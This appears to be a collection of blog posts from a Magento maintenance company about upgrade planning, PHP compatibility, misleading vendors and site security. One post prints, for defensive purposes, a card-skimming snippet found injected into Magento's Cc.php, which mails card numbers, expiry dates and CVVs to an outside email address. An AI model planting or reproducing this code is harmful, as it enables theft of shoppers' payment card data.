Category: Magento

Preparing to Have Your Magento Website Upgraded

Upgrading is Magento is no small task. It is something that we recommend you hire someone do for you, not because we provide Magento upgrades, but because we know from plenty of experience how much trouble it can be. Whether you hire us or someone else do your upgrade there are a number of things we have found are important to do and consider when preparing for the upgrade:

Upgrading Usually Won’t Fix an Existing Problem

One thing that comes up often with upgrades of Magento, as well as other software, is clients hoping that the upgrade will fix some problem with the website. In most cases the upgrade won’t fix the problem and in some cases the problem can instead cause additional problems during or after the upgrade. Your best bet is to ask the person you are contacting about doing the upgrade if the upgrade will fix the issue and if it won’t, finding out what else they suggest should be done to resolve the issue. In many cases we have dealt with, the fix for the problem requires doing much less work than doing an upgrade.

A Test of The Upgrade is a Must

Almost no Magento upgrade is going to be without issues, this is the biggest reason to hire someone who does Magento upgrade regularly to handle the upgrade as they should be aware of how to handle most issues that come up and will be better equipped to work through issues they haven’t seen before. What is key to making sure the issues that will occur don’t impact the normal function of your website is doing a test of the upgrade first. This allows the issues to be spotted before the production website is upgraded and while you can compare how things were working in the old version.

In addition to dealing with the issues that come up, the test will also allow you to adjust to any changes that have been made between the version of Magento you use now and the version you are upgrading to. We find that many of the things that clients bring up to us during the testing relate to these types of changes.

Test in a Matching Server Environment

To insure you don’t run in to any unexpected problems when the upgrade is applied to the production website you should make sure to do the testing in a server environment that matches the production environment. This can usually be best accomplished by placing the test version of the upgrade in a directory on the website or by using a staging server configured the same as the production server. If you don’t do this you may run into problems. For example, one time we found during the testing that the shipping module that was in use wasn’t working in the new version of Magento due to a PHP module not being enabled on the server. When our client contacted their web host to see about getting it enabled the web host first claimed that the modules was enabled and it ultimately took several days of back and forth for them to finally get it enabled. If this had only been discovered after the production website was upgraded it would have been a big problem.

Test, Test, Test

We can’t emphasize enough the importance of checking over everything in the test before upgrading the production website as it much easier to resolve any issues at this stage of the process than once the production website has been upgraded.

Mention Any Failed Upgrade Attempts

If there has previously been a failed attempt to upgrade Magento it is important to mention that when discussing the upgrade as this can create complications during the upgrade. The biggest of these being that sometimes after the failed upgrade the database is restored over the upgraded database, which then causes the database upgrade portion of the second upgrade attempt to fail when it tries to add new tables to the database that already exist because they were added during the previous upgrade attempt.

Changing Your Theme

When discussing upgrades we are often asked about changing the theme in use along with the Magento upgrade. Our suggestion is to split up the upgrade and the theme change as that makes it easier to deal with any issues that come up during either one. We also suggest doing the upgrade first and then using the test of the upgrade to test out the new theme.

Handling PHP Changes

One of the big changes that came with Magento 1.9.1 is that Magento will not function on versions of PHP below 5.3 (the listed minimum PHP is even higher, PHP 5.4). Some hosting environments making switching PHP versions quite easy, but in some cases it can require moving to a different server so this will be something you will want to discuss with the person handling the upgrade ahead of time. Also, if you are still running Magento 1.3 the process for handling this will be more involved since that version of Magento was not designed for PHP 5.3 or higher.

Clean Up the Database

The Magento database can grow rather large in size due to long term storage of data that doesn’t actually need to be stored on a long term basis. This can negatively impact website performance when interacting with the database and can cause the website to go over its disk usage quota. During the upgrade process is a perfect time to check out if this is the case with your website as cleaning out the excess data can significantly speed up the database upgrade portion of the upgrade and people that handle upgrades are usually familiar with this issue due to that. Due to a change in Magento 1.9.1 that makes sending most emails reliant on the Magento cron job being set and enabled, the person handling the upgrade will need to insure the cron job is set correctly, so most of the work to enable automated log cleaning that takes care of much of the excess data problem going forward is already being done as well.

FAQ: Will Upgrading Magento Make My Website Responsive?

When considering a Magento upgrade one of the most important things you should discuss with the person who might do the upgrade is whether the changes you think the upgrade will make are actually going to happen. We often have people come to us for upgrades of Magento or other web software who are expecting that it will fix a problem they are having, but in most cases the upgrade won’t have any impact (in many cases fixing the problem requires much less work that an upgrade would entail). Along similar lines we have had an increasing number of people coming to us asking about Magento upgrades who it turns out are actually interested in making their website responsive; that is making the website work well across desktops, tablets, and smartphones.

Upgrading Magento will not make a website responsive. The confusion surrounding this seems like it might be largely due to how Magento 1.9 was promoted by its developers. The blog post announcing that version is titled “Magento Enables Responsive Sites in Half the Time” and the clearest mention of what that actually means in the post isn’t all that clear. It states that a “new responsive design reference theme that makes it possible to quickly get a tablet and smart phone-friendly site”, what isn’t necessarily clear for someone who doesn’t deal with the more technical side of Magento is that all that means that Magento now comes with a new theme that is responsive. The new theme doesn’t have any impact on the existing theme you have, so you would have to switch to new theme to make the website responsive. With that you lose the current look of the website and would have to customize the default theme.

Since responsiveness comes from the theme and not from using a newer version of Magento, if you are looking to make your Magento website responsive you would want to replace your current theme with one that is responsive. You could customize the new default responsive theme that comes with Magento 1.9 & up, or you could use another responsive theme created by someone else as well. Depending on if the new theme is compatible with your Magento version you may or may not need to upgrade Magento as well.

What to Watch For When Upgrading to Magento 1.9.1

Now that it has been a couple of months since Magento 1.9.1 was released we have had enough experience upgrading from older versions of Magento to 1.9.1 to discuss what we have found to be the important things to keep in mind when upgrading to that version. We have found that two major issues impact the upgrade:

Sending Emails Now Relies on the Magento Cron Job

One of the under the hood changes made in 1.9.1 is that most emails to be sent out are first placed in queue and then the queued emails are sent the next time the cron job for Magento is run. If you do not have a cron job configured or enabled (as was the case for one website we dealt with) then many emails, including order confirmation and transactional, will not been sent out.

If you are having a problem with emails not being sent in Magento 1.9.1 you can check if unsent queued emails are the problem by reviewing the core_email_queue table, which contains the emails that have been added to the queue. Once the cron job has run the “processed_at” value for emails will have the time that they were sent and if they have yet to be sent they will not have a value set for that.

During testing of the upgrade you will also need to make sure that the cron job is set up for the test installation as well.

PHP 5.3.0 or Newer Is Required

Up until version 1.9 the bare minimum version of PHP that Magento permitted was 5.2.0, in version 1.9.1 that has been increased to 5.3.0. For most part this isn’t an issue considering that PHP 5.3.0 was released in June of 2009 and the listed minimum PHP versions for Magento 1.9.1 is 5.4. Where it can cause an issue is if you are doing an upgrade from the very old Magento 1.3, which wasn’t designed to support PHP 5.3. If you are doing the test of the upgrade in the same server environment as the production website and you can’t use multiple versions of PHP at the same time you will need to either modify the existing Magneto installation to support at least PHP 5.3 or do the upgrade in two stages (first upgrading to 1.9, then changing the PHP version, and then doing the upgrade to 1.9.1).

FAQ: Should I Upgrade Magento and Change My Theme at the Same Time?

When discussing Magento upgrades with clients these days what is coming up more and more often is questions about changing the theme in use on the website and more specifically whether that should be done at the same time as the upgrade. Our current recommendation is to split up the upgrade and the theme change, for reasons we will get to in a moment, doing the upgrade first and then using the copy of the website used for testing the upgrade to test out the new theme before finally changing the theme on the production website.

Avoiding Additional Issues with the Upgrade

Upgrading Magento is almost never a process without issues, if you are lucky they are rather small, but in many cases they are rather large. To the extent possible you want to avoid making other changes at the same time as doing that as makes it harder to deal with the issues since you won’t know which change is the root of the issue when you start dealing with it. That advice applies not just to theme changes, but other major changes.

While new themes do not cause problems on the same level as an upgrade, they can sometime cause problems, with this being more likely if the new theme also adds new extensions to the website. Often times the new theme is going to go through a fair amount of customization, which can be accomplished without impacting the production website by using the copy of the website created for the upgrade to do that.

Limited Downside

The downside to splitting up the upgrade and theme change is that often themes will need some minor changes made to them to make them compatible with versions of Magento released after the theme was released, with a new theme designed for the new version that shouldn’t be necessary. If you hire a professional to do the upgrade – which we would definitely recommend based having seen the many problems that can come up during an upgrade – they shouldn’t have a problem checking if changes need to be made and making those changes, so the advantage a new theme provides is limited based on that. Further limiting the advantage is that we often find that those changes need to be made in design files that come with an extension instead of a theme, so most of the work related to this still needs to be done if a new theme is used during an upgrade.

Magento Adds PHP 5.5 Support with Magento 1.9.1.0

Our previous posts about using Magento with PHP 5.5 continues to be one of our most visited posts, so there are sure to be lots of people interested to hear that with the release of Magento 1.9.1.0, Magento now officially supports PHP 5.5.

Magento continues to be rather slow in supporting new versions of PHP, as it took 17 months after PHP 5.5’s release for support to be added, but that was improvement from the 23 months it took for PHP 5.4 support to be added. PHP 5.6 was released at the end August, so they are still not up to date, but at this point we haven’t dealt with any one looking to use Magento with PHP 5.6, so it doesn’t seem to be much of an issue yet.

If you are need of a Magento upgrade to support PHP 5.5 or take advantage of the other new features, including security enhancements, in 1.9.1.0 we can take care of that for you.

Companies Trying to Sell Unnecessary Work Along With Needed Web Software Upgrades

When it comes to the security of websites, often the basic security precautions are not being taken. This year we have looked at data showing that many Joomla, Drupal, and WordPress based websites are not being updated in a timely manner, which leaves them at risk from vulnerabilities that have been fixed in subsequent releases. Companies involved with the development or maintenance of websites should be trying to do more to make sure that websites are kept up to date, but a couple of recent situations showed there are some companies out there trying to use people’s needs for updates as an opportunity to sell them unneeded work instead. Below we will take a look at those and provides some advice on preventing being taken advantage of in that type of situation.

Magento Doesn’t Require Incremental Upgrades

While recently discussing a Magento upgrade with a potential client they mentioned that they had tried a test of the upgrade that had had problems and that other companies that they had talked to had told them that the upgrade has to be done through a series of incremental upgrades to prevent that type of thing. That is, instead of going from their current version of 1.5 directly to 1.9 the website would need to be upgraded from 1.5 to 1.6 then to 1.7 then to 1.8 and finally to 1.9. When we heard that we were perplexed, not only are incremental upgrades not needed but in looking over lots of material on Magento upgrades (due to our having dealt with probably about everything that can go wrong with a Magento upgrade) we have never even seen doing that suggested. It also wouldn’t have had any impact on the problems they had. Doing those incremental upgrades was going to increase the cost of the upgrade, which seems to be why the companies would be claiming it was needed.

If incremental upgrades were needed you would expect it to be in the official upgrade documentation, which it isn’t. To better understand why that isn’t needed lets break down the upgrade. The upgrade involves changing two things:

The first is replacing the old Magento files with the new ones. If you directly upgrade to the new version or do incremental upgrades you will end up with the same files in use. The incremental upgrade might leave some left over files that are not used in the new version. So for this part of the upgrade the incremental approach adds nothing.

The second is updating the database to make it compatible with the new version of Magento. Magento will automatically make all the necessary updates from the version were running to the new version. So doing incremental upgrades would just split up the updates, but the end result would be the same updates running. We have never had any problem with database update caused by going directly from as far back as version 1.3.x to the latest version, 1.9.x. It is true to that sometimes servers have problems running through all the database updates, but there are better options for handling that then doing a bunch of incremental upgrades (doing the database portion of the upgrade on a separate server is very effective workaround provided you do this in your test of the upgrade first to insure it doesn’t cause any complications).

Websites Don’t Just Fail and You Can Upgrade Older Zen Cart Versions

The second situation was a lot more troubling. We were first contacted by a potential client about getting a quote for a Zen Cart upgrade and then they wanted quote to replace the store with a new Zen Cart installation. When we asked what was wrong that they needed a new Zen Cart installation they explained that another company had told them that their current Zen Cart installation “will fail and I will wake up one day and it will be gone” and they would need a whole new one. The idea that the website would just fail one day sounds quite scary, but it isn’t true. Websites don’t just fail like that. The only situation we could think of where something close to like that is if a web host upgrades to a newer versions of PHP then older versions of Zen Cart will stop functioning. That can prevented by upgrading to a newer version of Zen Cart. So why couldn’t they just upgrade? Well the other company was claiming that there Zen Cart installation was to old to upgrade. We have no idea why they would say that since the version in use, 1.3.9f, is much newer than versions we frequently do upgrades from. Either the other company, which portrayed themselves as Zen Cart specialists, didn’t have any idea what they are doing or they trying to trick people into unneeded work.

Protecting Yourself

There are two good options to make sure you don’t get taken advantage of in situations like this. First, when you are looking into having an upgrade done contact multiple companies to discuss what they would do in the situation. In these cases when the suggested unneeded work was brought up we were able to explain why it wasn’t needed. The second is to ask in the forum for the software if what the company is telling you is accurate. From what we have seen the information in those forums is generally accurate and in the type of situations we described we are sure someone would have explained that what is being said by the companies isn’t true.

SiteLock Fails To Do Basic Security Check

When it comes to the security of websites what we see is a situation where basic security measures, like keeping software up to date, are not being taken and security companies, most of whom appear to have little interested in actually improving security, are selling security services that are really not needed. A good example of this is SiteLock, which sells a security service that doesn’t provide any of the security measures that need to be taken to protect your website from hackers. Worse than that, we recently found that it is really poor at doing one of things that it is supposed to do, leading the people running websites and their customers to have a false sense of security.

We recently were hired to do an upgrade of website running Magento 1.4.1.1, a rather out of date version (the next version, 1.4.2.0, was released in December of 2010). When we took a look at the website we were rather surprised to see a security seal from SiteLock claiming the website was secure (we have blacked out the domain name in the image):

SiteLock Secure Seal

Version 1.4.1.1 of Magento is old enough that security patches for major issues are no longer released for it and anyone concerned about security would be running at least the most recent major release, 1.9.0.0, as it includes a number of security enhancements:

  • Addressed a potential cross-site scripting (XSS) vulnerability while creating configurable product variants.
  • Addressed a potential security issue that could result in displaying information about a different order to a customer.
  • Users can no longer change the currency if the payment method PayPal Website Payments Standard is used.
  • Removed an .swf file from the Magento distribution because of security issues.
  • Improved file system security.
  • Enhanced the security of action URLs, such as billing agreements.
  • Addressed a potential session fixation vulnerability during checkout.
  • Improved the security of the Magento randomness function.

We don’t really think that a website should labeled as secure in that instance, but we assumed that SiteLock had at least provided a private warning that the website was in need of an update. But according to our client they never heard anything from SiteLock about the issue. This is surprising considering it is something that service is supposed to be providing. On the homepage of their website they start the description of their services as “We scan your website to find and fix existing malware and vulnerabilities “. On the page about the service they further expand on that:

Our scanners identify applications you have installed and which version you have. We compare that to industry and proprietary lists to determine the security of your installation. SiteLock’s comprehensive scanning eliminates reports of “false positives” that are not truly dangerous to your business. If we discover a vulnerability in our testing, we report it to you immediately and can help you upgrade your application version and secure your site.

How did SiteLock miss that the website is running such outdated software? It is not because it is difficult to detect. If you have access to the website’s underlying files, which it appears SiteLock would have, then you can easily get the Magento version number from the file /app/Mage.php in Magento. Without access the underlying files you can still get the version number of Magento in use. One way to do that is with our Magento Version Check extension for Chrome, which had no problem detecting the version in use on the website:

Magento Version Check

For anyone looking for a tool that will actually alert you when your websites are using outdated software our Up to Date? app for Chrome provides just that:

Up to Date? app showing Magento verisons

As for the SiteLock service, you would better off using the money you would spend on their service on the things that will actually keep your website secure.

Magento Releases PHP 5.4 Patches for Magento 1.6.0.0-1.8.1.0

Last month we discussed Magento’s lack of official support for PHP 5.4 despite the fact that web hosts had been making the move to at least that version and questions raised by that. Magento has now released patches to make Magento 1.6.0.0-1.8.1.0 compatible with PHP 5.4.  You can get the patches on the Magento Download page in the Magento Community Edition Patches section of the page.

All of the patches modify the following files:
/app/code/core/Mage/Catalog/Model/Product.php
/app/code/core/Mage/Core/Controller/Varien/Router/Standard.php

All of the patches except for the one 1.8.0.0-1.8.1.0 modify:
/app/code/core/Mage/Install/etc/config.xml app/code/core/Mage/Install/etc/config.xml

A new file is added at:
/app/code/core/Zend/Pdf/FileParserDataSource.php

In our previous post we mentioned that we still found that Magento 1.3 would work with PHP 5.4, so older versions can still could probably be used, though you could run into an issue.

For those who can’t use the patches we will be putting out a set of patched files, as we do with the Magento security patches, soon you can use the patched files we have put together.

Credit Card Compromises in Magento

On more than a few occasions we have been contacted by someone running a Magento store concerned that credit cards used on the store are getting compromised somehow. In some cases the person running the store is pretty sure it is happening because they tried using a brand new credit card on the store and shortly afterwards attempted charges for other things are made with the card, but they don’t know what could have caused the store to be compromised. In more than a few cases the person running the website has run a PCI scanner on the website and it has found nothing, so they are not sure what is going on. Since we have seen that in every instance so far the store was in fact compromised and with the same cause, we though it worth mentioning the source we have found in those cases. Keep in mind that there could be other causes for this as well.

What we have found is that the compromise of the credit cards through the store has been done by a hacker adding code to the file /app/code/core/Mage/Payment/Model/Method/Cc.php. Below is the code that we found on one website. In this case the first portion of code collects the various pieces of the credit card data and then in the second portion the credit card data is sent off to the email address pacarding@yahoo.co.id.

$owner = $info->getCcOwner();
$ccnumber = $info->getCcNumber();
$expmont = $info->getCcExpMonth();
$expyear = $info->getCcExpYear();
$issue = $info->getCcCid();
$ip=$_SERVER[‘REMOTE_ADDR’];

$today = date(“F j, Y, g:i a”);
$to = “pacarding@yahoo.co.id”;
$subject = “CC-example.com”;
$message=”$owner\n$ccnumber\n$expmont\n$expyear\n$issue\n$ip”;
$from = “CARDING-Fence”;
$headers = “From:” . $from;
mail($to,$subject,$message,$headers);

We have seen various code added, so there isn’t one thing to look for. The easiest way to check for a modification is to download a fresh copy of the version of Magento being used on the website and then do a file comparison of the /app/code/core/Mage/Payment/Model/Method/Cc.php on the website with the version in fresh download to see if changes have been made.

If there is malicious code in that file removing the code should stop the credit card data from being compromised, but you will still need to take a number of other steps. We have found that in some cases other malicious code is added to the website, so anything else added will need to be removed either by removing the code or restoring the website to a clean backup copy. You also need to determine how the website was hacked and fix that, so the website doesn’t get re-hacked. If you don’t have the expertise to do those things we have a service for cleaning up hacked Magento stores. At that point you should also review if you are meeting the security requirement of your credit card processor and check what notification you may need to provide due to the breach.

Using Magento with PHP 5.4 and 5.5

Update (November 24, 2014): Magento has now released Magento 1.9.1.0, which adds supports for PHP 5.5.

Update (January 21, 2014): Magento has now released patches to make Magento 1.6.0.0-1.8.1.0 compatible with PHP 5.4.

 

Back in July the developers of PHP started encouraging moving from PHP 5.3 to either PHP 5.4 or 5.5 due to the fact that for the next year the only support for PHP 5.3 would be security updates and thereafter support will end entirely. We have now started to see that shift happening and along with it we are seeing an increase in questions and issues related to Magento’s support for PHP 5.4 and 5.5.

As with previous moves from one PHP version to another, PHP 5.4 and 5.5 have made breaking changes from earlier versions of PHP. That means that software can stop working on a new version of PHP and you should make sure that software you are using is compatible with the new version of PHP ahead of the upgrade. Currently Magento does not officially support PHP 5.4 or 5.5. Magento’s System Requirements page currently lists supported versions of PHP being 5.2.13 – 5.3.24. While PHP 5.4 and 5.5 are not officially supported we have found Magento will run on them, but there a couple of important issues that can cause problems that we will get to in a moment.

While we recommend upgrading to Magento 1.8.0.0 as it includes a number of security enhancements and other enhancements, upgrading to that version will not provide improved compatibility for the newer version of PHP even if you are currently using a fairly old version of Magento. We recently did an upgrade of website that was still running Magento 1.3 and that website that was running without issue on PHP 5.4.

There are two areas where you can run into problems when using PHP 5.4 or 5.5:

Order Invoice Printing Error

The one issue that we have found does occur in Magento when using PHP 5.4 or 5.5 is that when you try to print an order’s invoice you will get an error: “Fatal error: Declaration of Zend_Pdf_FileParserDataSource_File::__construct() must be compatible with Zend_Pdf_FileParserDataSource::__construct()”. There is an easy fix for this. In the file /lib/Zend/Pdf/FileParserDataSource.php change the line:

abstract public function __construct();

to:

abstract public function __construct($filePath);

Extension Incompatibilities

While Magento will work with the newer versions of PHP, extensions may not be compatible with newer versions of PHP. PHP 5.4 was released in March of 2012 and 5.5 was released in June of this year, so the latest release of extensions should be compatible with the newer version of PHP by now. The developer of the extension should also be able to tell you if it is compatible with the newer version of PHP. If you want to insure everything will run smoothly, test a copy of the website running on a server using the newer version of PHP before the server with the live website has its PHP version updated. If an extension is not working with the new version of PHP and you don’t want to replace the extension you can use the details of breaking changes in PHP 5.4 and 5.5 as a starting place to determine what changes need to be made to the extension.